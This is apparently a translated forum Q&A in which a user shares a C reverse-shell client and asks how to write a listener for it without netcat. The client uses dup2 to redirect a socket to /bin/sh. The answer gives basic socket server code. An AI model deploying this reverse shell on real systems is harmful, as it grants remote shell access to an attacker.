使用不带 netcat 的 dup2 通过套接字将 shell 从客户端重定向到服务器

Redirecting shell from client to server via sockets using dup2 without netcat

有没有人有任何想法:如何在不使用 netcat 的情况下为该客户端实现服务器?

我尝试过不同的东西,但由于我对管道不太熟悉,所以我考虑制作这个 post。如果我使用此代码并设置一个 netcat 侦听器,例如 "nc -l 1234",我将从下面的客户端接收重定向的 shell。

我怎样才能实现一个服务器 与 netcat 具有相同的功能,但不为该特定客户端使用 netcat?

谢谢。

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(1234);
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //system("uname -a; w; id");
    execl("/bin/sh", "sh", NULL);
}

以下代码创建接受单个连接的基本侦听器:

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    // 1. Create a socket with the socket() system call
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    // 2. Bind the socket to an address using the bind() system call.
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(1234);
    bind(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    // 3. Listen for connections with the listen() system call
    listen(sock, 128);

    // 4. Accept a connection with the accept() system call.
    struct sockaddr_in cli_addr = {0};
    socklen_t cli_addrlen = sizeof(cli_addr);
    int acc_sock = accept(sock, (struct sockaddr *)&cli_addr, &cli_addrlen);

    // 5. Send and receive data
    char buf[1024];
    ssize_t nread;

    // Read from stdin, write to socket
    nread = read(0, buf, 1024);
    write(acc_sock, buf, nread);

    // Read from socket, write to stdout
    nread = read(acc_sock, buf, 1024);
    write(1, buf, nread);
}

当然,您会希望通过检查错误来使其更加可靠。您可能希望将步骤 4 和 5 包装在一个循环中以允许多个连接。

第 5 步只是建立连接后如何通过套接字进行通信的示例。如果您想在终端和套接字(如 netcat)之间连续传递数据,您可能需要使用 select 循环。

参考文献: